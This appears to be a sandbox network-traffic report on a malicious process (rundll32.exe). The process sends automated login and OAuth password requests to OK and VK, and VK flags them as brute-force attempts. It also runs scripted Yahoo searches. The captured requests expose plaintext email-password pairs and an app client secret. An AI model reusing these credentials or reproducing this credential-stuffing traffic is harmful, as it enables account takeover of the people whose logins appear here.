2023-12-10 16:50:17 UTC	680	OUT	POST /dk?bk=GuestMain&st.cmd=main&_prevCmd=main&tkn=5928&_cl.id=1577974135245&_clickLog=%5B%7B%22target%22%3A%22sign_in%22%7D%2C%7B%22registrationContainer%22%3A%22home.login_form%22%7D%5D HTTP/1.1 Host: m.ok.ru Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 111 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://m.ok.ru/ Origin: https://m.ok.ru Upgrade-Insecure-Requests: 1
2023-12-10 16:50:17 UTC	111	OUT	Data Raw: 66 72 2e 70 6f 73 74 65 64 3d 73 65 74 26 66 72 2e 6e 65 65 64 43 61 70 74 63 68 61 3d 26 66 72 2e 70 72 6f 74 6f 3d 31 26 66 72 2e 6c 6f 67 69 6e 3d 6b 6f 6d 62 69 6e 61 74 6f 72 32 32 40 6d 61 69 6c 2e 72 75 26 66 72 2e 70 61 73 73 77 6f 72 64 3d 4f 6d 6f 6e 31 39 37 36 26 62 75 74 74 6f 6e 5f 6c 6f 67 69 6e 3d 4c 6f 67 2b 69 6e Data Ascii: fr.posted=set&fr.needCaptcha=&fr.proto=1&fr.login=kombinator22@mail.ru&fr.password=Omon1976&button_login=Log+in
2023-12-10 16:50:18 UTC	830	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 30 3a 31 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4a 53 45 53 53 49 4f 4e 49 44 3d 39 62 39 66 61 38 38 33 30 30 64 37 64 38 38 31 61 65 39 32 36 35 63 36 35 63 66 64 34 34 31 61 32 30 66 65 32 61 61 32 37 30 38 65 63 33 63 38 2e 66 36 32 61 65 38 Data Ascii: HTTP/1.1 200 Server: ApacheDate: Sun, 10 Dec 2023 16:50:17 GMTContent-Type: text/html;charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingSet-Cookie: JSESSIONID=9b9fa88300d7d881ae9265c65cfd441a20fe2aa2708ec3c8.f62ae8
2023-12-10 16:50:18 UTC	539	IN	Data Raw: 63 36 63 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 76 37 30 38 20 6e 6f 2d 6a 73 20 73 74 2d 6d 61 69 6e 20 73 69 64 65 62 61 72 2d 6f 6e 22 20 69 64 3d 22 72 6f 6f 74 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 61 74 61 2d 76 69 65 77 3d 22 64 6f 63 22 20 64 61 74 61 2d 66 75 6e 63 3d 22 61 6e 79 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 4b 20 73 6f 63 69 61 6c 20 6e 65 74 77 6f 72 6b 2e 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 20 77 69 74 68 20 66 72 69 65 6e 64 73 20 6f 6e 20 4f 4b 2e 20 59 6f 75 72 20 6d 65 65 74 69 6e 67 20 70 6c 61 63 65 20 77 69 74 68 20 63 6c 61 73 73 6d 61 74 65 73 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 Data Ascii: c6cd<!DOCTYPE html><html class="v708 no-js st-main sidebar-on" id="root" lang="en" data-view="doc" data-func="any"><head><title>OK social network. Communication with friends on OK. Your meeting place with classmates.</title><meta http-equiv="Content-Ty
2023-12-10 16:50:18 UTC	1369	IN	Data Raw: 20 6e 65 74 77 6f 72 6b 20 77 68 65 72 65 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 79 6f 75 72 20 6f 6c 64 20 66 72 69 65 6e 64 73 2e 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 2c 20 6f 6e 6c 69 6e 65 20 67 61 6d 65 73 2c 20 73 65 6e 64 20 67 69 66 74 73 20 61 6e 64 20 63 61 72 64 73 20 74 6f 20 66 72 69 65 6e 64 73 2e 20 43 6f 6d 65 20 74 6f 20 4f 4b 2c 20 61 6e 64 20 73 68 61 72 65 20 79 6f 75 72 20 65 6d 6f 74 69 6f 6e 73 20 77 69 74 68 20 66 72 69 65 6e 64 73 2c 20 63 6f 6c 6c 65 61 67 75 65 73 20 61 6e 64 20 63 6c 61 73 73 6d 61 74 65 73 2e 22 3e 3c 2f 6d 65 74 61 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 3e 3c 2f 6d 65 74 61 3e 3c 6c 69 6e 6b Data Ascii: network where you can find your old friends. Communication, online games, send gifts and cards to friends. Come to OK, and share your emotions with friends, colleagues and classmates."></meta><meta name="mobile-web-app-capable" content="yes"></meta><link
2023-12-10 16:50:18 UTC	1369	IN	Data Raw: 3a 68 65 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 36 33 30 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 76 6b 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 6d 2e 6f 6b 2e 72 75 2f 6d 72 65 73 2f 69 6d 67 2f 73 2f 6f 6b 5f 64 65 66 61 75 6c 74 5f 31 30 32 30 78 34 35 36 2e 70 6e 67 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 76 6b 3a 69 6d 61 67 65 3a 77 69 64 74 68 22 20 63 6f 6e 74 65 6e 74 3d 22 31 30 32 30 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 76 6b 3a 69 6d 61 67 65 3a 68 65 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 34 35 36 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 Data Ascii: :height" content="630"><meta property="vk:image" content="https://m.ok.ru/mres/img/s/ok_default_1020x456.png"><meta property="vk:image:width" content="1020"><meta property="vk:image:height" content="456"><meta property="twitter:card" content="summary_larg
2023-12-10 16:50:18 UTC	1369	IN	Data Raw: 38 39 33 29 20 2b 20 27 3b 70 61 74 68 3d 2f 27 3b 7d 29 28 77 69 6e 64 6f 77 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 66 6f 6e 74 22 20 68 72 65 66 3d 22 2f 6d 72 65 73 2f 66 6f 6e 74 2f 73 76 67 2f 63 6f 6d 6d 6f 6e 2f 73 76 67 2d 69 63 6f 6e 73 2e 77 6f 66 66 32 3f 62 32 36 32 32 66 36 35 62 62 66 66 66 61 33 64 36 30 64 35 65 65 63 64 63 64 31 36 35 33 63 65 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 6c 69 6e 6b 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 72 65 73 2f 62 61 74 63 68 2f 6a 73 2f 72 65 61 63 74 38 35 39 35 61 32 61 38 2f 72 65 61 63 74 2d 6c 6f 61 64 65 72 2e 6a 73 22 20 72 65 6c 3d 22 70 72 65 66 65 74 63 68 22 20 61 73 3d 22 73 74 Data Ascii: 893) + ';path=/';})(window);</script><link rel="preload" as="font" href="/mres/font/svg/common/svg-icons.woff2?b2622f65bbfffa3d60d5eecdcd1653ce" crossorigin="anonymous"></link><link href="/mres/batch/js/react8595a2a8/react-loader.js" rel="prefetch" as="st
2023-12-10 16:50:18 UTC	1369	IN	Data Raw: 63 68 2f 63 73 73 2f 38 65 63 66 64 37 65 37 2f 6d 61 69 6e 2f 62 61 73 65 2f 69 63 6f 6e 73 2f 74 65 78 74 2d 69 63 6f 6e 2e 63 6f 72 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 72 65 73 2f 62 61 74 63 68 2f 63 73 73 2f 38 65 63 66 64 37 65 37 2f 6d 61 69 6e 2f 6e 6f 68 74 74 70 32 2e 63 6f 72 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 72 65 73 2f 62 61 74 63 68 2f 63 73 73 2f 38 65 63 66 64 37 65 37 2f 6d 61 69 6e 2f 70 72 6f 6a 65 63 74 2f 70 61 79 6d 65 6e 74 2f 70 61 79 6d 65 6e 74 2e 63 6f 72 65 2e 63 73 Data Ascii: ch/css/8ecfd7e7/main/base/icons/text-icon.core.css" type="text/css" rel="stylesheet"/><link href="/mres/batch/css/8ecfd7e7/main/nohttp2.core.css" type="text/css" rel="stylesheet"/><link href="/mres/batch/css/8ecfd7e7/main/project/payment/payment.core.cs
2023-12-10 16:50:18 UTC	1369	IN	Data Raw: 65 74 5f 72 75 62 79 32 5f 69 6d 67 20 7b 77 69 64 74 68 3a 20 31 32 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 0d 0a 2e 64 61 69 6c 79 2d 72 65 77 61 72 64 2d 70 6f 72 74 6c 65 74 5f 73 74 61 72 31 5f 69 6d 67 20 7b 77 69 64 74 68 3a 20 34 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 0d 0a 2e 64 61 69 6c 79 2d 72 65 77 61 72 64 2d 70 6f 72 74 6c 65 74 5f 70 69 70 65 31 5f 69 6d 67 20 7b 77 69 64 74 68 3a 20 39 36 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 0d 0a 7d 0d 0a 0d 0a 2e 67 61 6d 65 2d 66 72 61 6d 65 5f 76 69 64 65 6f 61 64 76 20 2e 61 70 70 2d 76 69 64 65 6f 5f 6d 75 74 65 5f 6c 6b 2c 20 2e 67 61 6d 65 2d 66 72 61 6d 65 5f 76 69 64 65 6f 61 64 76 20 2e 61 70 70 2d 76 69 64 65 6f 5f 6c 61 62 65 6c 20 7b 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 Data Ascii: et_ruby2_img {width: 120px !important}.daily-reward-portlet_star1_img {width: 40px !important}.daily-reward-portlet_pipe1_img {width: 96px !important}}.game-frame_videoadv .app-video_mute_lk, .game-frame_videoadv .app-video_label {color: #ffffff
2023-12-10 16:50:18 UTC	1369	IN	Data Raw: 6c 61 79 3a 6e 6f 6e 65 3b 7d 0d 0a 66 6f 72 6d 20 2e 63 6f 6e 67 72 61 74 73 2d 71 75 69 7a 5f 71 75 65 73 74 69 6f 6e 5f 62 75 74 74 6f 6e 20 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 7d 0d 0a 0d 0a 0d 0a 2e 74 61 62 73 2e 5f 5f 73 74 69 63 6b 79 5f 5f 6a 70 30 74 71 20 7b 20 74 6f 70 3a 20 30 70 78 3b 20 7a 2d 69 6e 64 65 78 3a 20 31 34 39 3b 20 7d 0d 0a 0d 0a 0d 0a 2e 67 69 66 74 2d 73 65 63 74 69 6f 6e 2e 5f 5f 65 61 73 74 65 72 2d 67 69 66 74 73 2d 73 65 63 74 69 6f 6e 3a 62 65 66 6f 72 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 69 2e 6d 79 63 64 6e 2e 6d 65 2f 69 3f 72 3d 41 44 46 64 75 41 38 36 30 7a 2d 75 5f 73 4e 76 4f 71 55 47 33 69 58 47 74 37 7a 71 36 71 68 4b 47 64 6a 6d 4c 79 7a 71 54 Data Ascii: lay:none;}form .congrats-quiz_question_button {display:inline-block;}.tabs.__sticky__jp0tq { top: 0px; z-index: 149; }.gift-section.__easter-gifts-section:before{background-image:url(//i.mycdn.me/i?r=ADFduA860z-u_sNvOqUG3iXGt7zq6qhKGdjmLyzqT
2023-12-10 16:50:18 UTC	1369	IN	Data Raw: 64 2d 69 6d 61 67 65 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 69 2e 6d 79 63 64 6e 2e 6d 65 2f 69 3f 72 3d 41 44 46 64 75 41 38 36 30 7a 2d 75 5f 73 4e 76 4f 71 55 47 33 69 58 47 6a 74 39 46 77 63 32 4c 45 30 6b 54 53 55 37 46 4f 59 65 45 78 33 68 36 61 63 4f 34 7a 62 39 77 6a 43 58 6f 71 75 4d 6d 68 4e 59 29 3b 7d 7d 0d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 64 65 76 69 63 65 2d 77 69 64 74 68 3a 20 33 37 35 70 78 29 7b 2e 67 69 66 74 2d 73 65 63 74 69 6f 6e 2e 5f 5f 74 65 61 63 68 65 72 2d 62 67 2d 70 72 6f 6d 6f 3a 3a 62 65 66 6f 72 65 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 3b 7d 7d 0d 0a 0d 0a 2e 67 69 66 74 2d 63 61 72 64 2e 5f 5f 66 72 65 65 2d 66 6f 72 2d 61 64 20 2e 67 69 66 74 2d 70 72 69 63 65 5f 74 65 78 74 2c Data Ascii: d-image:url(https://i.mycdn.me/i?r=ADFduA860z-u_sNvOqUG3iXGjt9Fwc2LE0kTSU7FOYeEx3h6acO4zb9wjCXoquMmhNY);}}@media (min-device-width: 375px){.gift-section.__teacher-bg-promo::before {background-size:contain;}}.gift-card.__free-for-ad .gift-price_text,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49989	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:19 UTC	650	OUT	GET /search?p=foamex+printed+boards&fr=sfp&fr2=&iscqry=&vc= HTTP/1.1 Host: uk.search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:50:20 UTC	729	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 30 3a 32 30 20 47 4d 54 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 31 35 35 35 32 30 30 30 0d 0a 53 65 72 76 65 72 3a 20 41 54 53 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 Data Ascii: HTTP/1.1 307 Temporary RedirectDate: Sun, 10 Dec 2023 16:50:20 GMTConnection: closeStrict-Transport-Security: max-age=15552000Server: ATSCache-Control: no-storeContent-Type: text/html; charset=utf-8Content-Language: enExpect-CT: max-age=31

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49995	87.240.139.193	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:23 UTC	585	OUT	GET /oauth/token?2fa_supported=1&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&device_id=14CE0A60-H643-DBEA-G5DF-9E56-ID031BB7BE9A&external_device_id=AE982GHG-F0BD-CCD7-3598-51EH-ECE8EC02H4GE&grant_type=password&idfa=3GEDI12G-0G8E-4233-5G7A-0F0C-78230B3D9F0B&idfv=6ACH12EH-4FBG-5A84-0391-FHG6-3F05H975A0D6&libverify_support=1&password=monika&sak_version=1.60&scope=all&username=norrgard@gmail.com&v=5.131 HTTP/1.1 Host: api.vk.com Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; WOW64) Gecko/20130401 Firefox/53.9 Accept: /
2023-12-10 16:50:23 UTC	652	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 0d 0a 53 65 72 76 65 72 3a 20 6b 69 74 74 65 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 30 3a 32 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 35 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 4b 50 48 50 2f 37 2e 34 2e 31 31 35 32 37 36 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 72 65 6d 69 78 69 72 3d 44 45 4c 45 54 45 44 3b 20 65 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 Data Ascii: HTTP/1.1 401 UnauthorizedServer: kittenxDate: Sun, 10 Dec 2023 16:50:23 GMTContent-Type: application/json; charset=utf-8Content-Length: 255Connection: closeX-Powered-By: KPHP/7.4.115276Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00
2023-12-10 16:50:23 UTC	255	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 39 3b 46 6c 6f 6f 64 20 63 6f 6e 74 72 6f 6c 22 2c 22 65 72 72 6f 72 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 6d 61 6e 79 20 61 74 74 65 6d 70 74 73 20 77 65 72 65 20 6d 61 64 65 20 74 6f 20 73 69 67 6e 20 69 6e 20 74 6f c2 a0 74 68 69 73 20 61 63 63 6f 75 6e 74 20 77 69 74 68 c2 a0 61 c2 a0 70 61 73 73 77 6f 72 64 2e 20 50 6c 65 61 73 65 20 75 73 65 20 61 c2 a0 64 69 66 66 65 72 65 6e 74 20 73 69 67 6e 2d 69 6e 20 6d 65 74 68 6f 64 20 6f 72 c2 a0 74 72 79 20 61 67 61 69 6e 20 61 66 74 65 72 20 61 c2 a0 66 65 77 20 68 6f 75 72 73 2e 22 2c 22 65 72 72 6f 72 5f 74 79 70 65 22 3a 22 70 61 73 73 77 6f 72 64 5f 62 72 75 74 65 66 6f 72 63 65 5f 61 74 74 65 6d 70 74 22 2c 22 76 69 65 77 22 3a 22 61 6c 65 72 74 22 7d Data Ascii: {"error":"9;Flood control","error_description":"Too many attempts were made to sign in tothis account withapassword. Please use adifferent sign-in method ortry again after afew hours.","error_type":"password_bruteforce_attempt","view":"alert"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	50003	52.44.77.224	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:28 UTC	865	OUT	GET /consent?brandType=eu&gcrumb=Vh20Z64&lang=en-GB&done=https%3A%2F%2Fuk.search.yahoo.com%2Fsearch%3Fp%3Dfoamex%2Bprinted%2Bboards%26fr%3Dsfp%26fr2%3D%26iscqry%3D%26vc%3D HTTP/1.1 Host: guce.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; GUCS=AVYdtGeu Referer: https://uk.search.yahoo.com/search?p=foamex+printed+boards&fr=sfp&fr2=&iscqry=&vc= Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:50:28 UTC	290	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 72 76 65 72 3a 20 67 75 63 65 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e 73 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 63 6f 6e 73 65 6e 74 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 76 32 2f 63 6f 6c 6c 65 63 74 43 6f 6e 73 65 6e 74 3f 73 65 73 73 69 6f 6e 49 64 3d 31 5f 63 63 2d 73 65 73 73 69 6f 6e 5f 66 35 62 36 34 65 30 39 2d 30 38 30 65 2d 34 36 64 66 2d 61 37 38 39 2d 61 31 39 66 37 63 32 33 62 38 66 39 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 44 61 74 65 Data Ascii: HTTP/1.1 302 FoundConnection: closeServer: guceStrict-Transport-Security: max-age=31536000; includeSubDomainsLocation: https://consent.yahoo.com/v2/collectConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9Content-Length: 0Date

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	50004	68.180.135.252	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:28 UTC	284	OUT	GET / HTTP/1.1 Host: www.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:50:28 UTC	337	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 72 65 66 65 72 72 65 72 2d 70 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 65 72 72 65 72 2d 77 68 65 6e 2d 64 6f 77 6e 67 72 61 64 65 0d 0a 73 74 72 69 63 74 2d 74 72 61 6e 73 70 6f 72 74 2d 73 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a 78 2d 66 72 61 6d 65 2d 6f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 30 3a 32 38 20 47 4d 54 0d 0a 78 2d 65 6e 76 6f 79 2d 75 70 73 74 72 65 61 6d 2d 73 65 72 76 69 63 65 2d 74 69 6d 65 3a 20 36 35 0d 0a 73 65 72 76 65 72 3a Data Ascii: HTTP/1.1 200 OKreferrer-policy: no-referrer-when-downgradestrict-transport-security: max-age=31536000x-frame-options: SAMEORIGINcontent-type: text/html; charset=utf-8date: Sun, 10 Dec 2023 16:50:28 GMTx-envoy-upstream-service-time: 65server:
2023-12-10 16:50:28 UTC	2232	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 2d 52 65 70 6f 72 74 2d 4f 6e 6c 79 3a 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 72 74 72 2e 69 6e 6e 6f 76 69 64 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 6f 61 74 68 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 6d 65 64 69 61 2e 6e 65 74 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 64 76 65 72 74 69 73 69 6e 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 63 64 6e 2e 79 69 6d 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 79 61 68 6f 6f 2e 6e 65 74 20 68 74 74 70 73 3a 2f 2f 61 64 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 3b 20 Data Ascii: Content-Security-Policy-Report-Only: connect-src 'self' https://s.yimg.com https://rtr.innovid.com https://.yahoo.com https://.oath.com https://.media.net https://.advertising.com https://.cdn.yimg.com https://.yahoo.net https://ad.doubleclick.net;
2023-12-10 16:50:28 UTC	792	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 31 3d 64 3d 41 51 41 42 42 46 54 73 64 57 55 43 45 45 63 44 62 6e 61 46 32 45 57 7a 6a 62 59 6d 5f 49 52 4a 32 71 38 46 45 67 45 42 41 51 45 39 64 32 56 5f 5a 64 77 77 30 69 4d 41 5f 65 4d 41 41 41 Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffSet-Cookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA
